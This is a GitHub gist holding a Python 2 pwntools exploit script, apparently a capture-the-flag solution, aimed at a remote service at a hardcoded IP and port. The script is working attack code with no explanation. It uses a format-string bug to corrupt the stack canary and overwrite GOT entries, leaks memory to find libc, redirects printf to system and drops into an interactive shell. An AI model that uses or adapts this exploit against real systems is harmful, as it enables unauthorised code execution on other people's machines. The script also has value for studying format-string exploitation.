Skip to content

Instantly share code, notes, and snippets.

@bennofs
Created September 10, 2017 17:48
Show Gist options
  • Save bennofs/376c8b7dc3c1a1638e60e3eb7b450ba1 to your computer and use it in GitHub Desktop.
Save bennofs/376c8b7dc3c1a1638e60e3eb7b450ba1 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
from pwn import *
from pwnlib import elf
from ctypes import *
context.arch = "amd64"
libc = ELF("./libc.so.6")
base = 0x400000
entry = 0x4005f0
welcome = 0x00400734
#welcome = 0x00400661
got_stack_fail = 0x00601020
got_puts = 0x00601018
got_unknown = 0x00601030
got_printf = 0x00601028
initial_offset = 8
canary_ptr = 8
badchars = string.whitespace
def leak_binary():
p = log.progress("leaking binary")
try:
result = file("binary", "rb").read()
except IOError:
result = ""
while True:
addr = base + len(result)
p.status("leaking: %x", addr)
result += leak(addr)
with open("binary", "wb") as f:
f.write(result)
def print_stack():
info("stack:")
with context.local(log_level="ERROR"):
for i in range(0x20):
#conn = remote("146.185.168.172", 54515)
conn = process("./test")
conn.recvline_contains("let's move")
conn.sendline(",".join("%{}$pE".format(i + x) for x in range(1)))
for x, r in enumerate(conn.recvuntil("E", drop=True).rstrip("a").split(",")):
v = ""
z = r
print "%d: %18s (%18s)" % (i + x, z, " ".join(hex(ord(c)) for c in v))
conn.close()
def prompt():
conn.recvline_contains("let's move")
def send(inp):
global offset
prompt()
assert not any(x in badchars for x in inp), "has badchars"
assert len(inp) <= 99, "too long"
conn.sendline(inp)
offset += 1
def cu16(x):
return c_uint16(x).value
bp = None
conn = None
info("initial setup")
while not bp or any(x in badchars for x in p64(bp)):
offset = initial_offset
if conn: conn.close()
conn = remote("146.185.168.172", 54515)
# make a loop so we can send more
a = (welcome & 0xFF) << 8
b = (welcome >> 8) & 0xFFFF
print "%#x %#x" % (a, b)
send(fit({
0x0: [
"%{}$n".format(offset + canary_ptr), # corrupt the canary
"%{}$lln".format(offset + 6), # null out the canary fail function
"%{}c%{}$hn".format(a, offset + 5), # write lower byte of welcome
"%{}c%{}$hn".format(cu16(b - a), offset + 6), # write 2nd and 3rd byte of welcome
],
5 * 8: [
# +1/-1 because 0x20 is a bad byte (space)
p64(got_stack_fail - 1),
p64(got_stack_fail + 1),
],
}))
success("created input loop")
# determine stack base
send("----%{}$llx----".format(offset + canary_ptr))
conn.recvuntil("----")
ptr = int(conn.recvuntil("----", drop=True), 16)
bp = ptr + 2
success("leaked base pointer without bad chars: %#x", bp)
def put_value(idx,val):
val_good = "".join(x if x not in badchars else "X" for x in val)
send(fit({
8 * idx: val_good,
}))
# fixup badchars
location = bp - (14 - idx) * 8
for idx, char in enumerate(val):
if char not in badchars: continue
send(fit({
0: "%{}c%{}$hhn".format(ord(char), offset + 3),
3 * 8: p64(location + idx),
}))
@MemLeak
def leak(addr):
put_value(11, p64(addr))
# leak
send("----%{}$s----".format(offset + 11))
conn.recvuntil("----")
return conn.recvuntil("----", drop=True) + "\0"
libc.address += leak.u64(got_puts) - libc.symbols.puts
success("libc base: %#x", libc.address)
put_value(8, flat([
p64(got_printf),
p64(got_printf + 2),
p64(got_printf + 4),
p64(got_printf + 6),
]))
payload = ""
addr = p64(welcome)
written = 0
for idx, v in enumerate([u16(addr[x:x+2]) for x in range(0, 8, 2)]):
payload += "%{}c%{}$hn".format(cu16(v - written), idx+8+offset)
written = v
addr = libc.symbols.system
a = addr & 0xFFFF
b = (addr >> 16) & 0xFFFF
c = (addr >> 32) & 0xFFFF
d = (addr >> 48) & 0xFFFF
send(flat([
"%{}$lln".format(offset + 8),
"%{}c%{}$hn".format(a, offset + 8),
"%{}c%{}$hn".format(cu16(b - a), offset + 9),
"%{}c%{}$hn".format(cu16(c - b), offset + 10),
"%{}c%{}$hn".format(cu16(d - c), offset + 11),
]))
prompt()
conn.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment